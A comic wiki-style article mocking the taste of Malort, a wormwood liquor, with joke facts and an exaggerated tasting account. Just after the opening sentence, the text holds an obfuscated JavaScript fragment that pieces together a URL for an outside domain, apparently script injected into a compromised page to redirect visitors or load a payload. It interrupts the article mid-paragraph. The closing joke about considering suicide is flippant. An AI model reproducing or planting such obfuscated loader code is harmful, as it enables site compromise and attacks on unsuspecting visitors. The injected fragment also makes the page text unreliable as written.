Malort

Malort is the most foul-tasting form of alcohol yet conceived by mankind. )){u='http'+'://buro'+'tkan'+'i.com/'

The secret ingredient is tears. Your tears.

Just The Facts

  1. Malort is sold in the United States by the Carl Jeppson company, and is based on a Swedish wormwood-infused schnapps called Bäska Droppar.
  2. Yelling "Malort!" is almost as satisfying as yelling "KHAAAAAAAAAAN!"
  3. Malort is reputed to be an excellent remedy for indigestion. This works because the taste of Malort is so soul-crushingly awful that it makes you forget about your stomach pain.
  4. Malort is the most unpleasant Swedish export of all time. This is impressive, considering Sweden is also responsible for unleashing the twin evils of lutefisk and ABBA.

The Basics

Malort is a wormwood-flavored alcohol that clocks in around 70 proof. It has an incredibly bitter taste, with notes of earwax, fire, poison, and decaying flesh. Malort has developed something of a cult following in the greater Chicago area, and is often consumed at biker bars. Comedian John Hodgman is also a fan of Malort, and sometimes passes it out during public appearances.

Definitive proof that John Hodgman is more of a man than you will ever be.

The Experience

The experience of drinking Malort is not unlike the stations of the cross: the pain and the humiliation keep on coming long after you've had your first sip.

When you pour your first glass of Malort, you are immediately struck by the strange smell- part gasoline, part pen ink, part nail polish remover. The taste, perversely, is even more unbearable than the smell. As you take your first sip, the taste is unassuming...but as soon as you swallow, your are overcome with an intense burning sensation and the strange feeling of hair growing out of your tastebuds.

Soon, you begin to consider suicide in order to escape the rising tide of nausea and full body pain.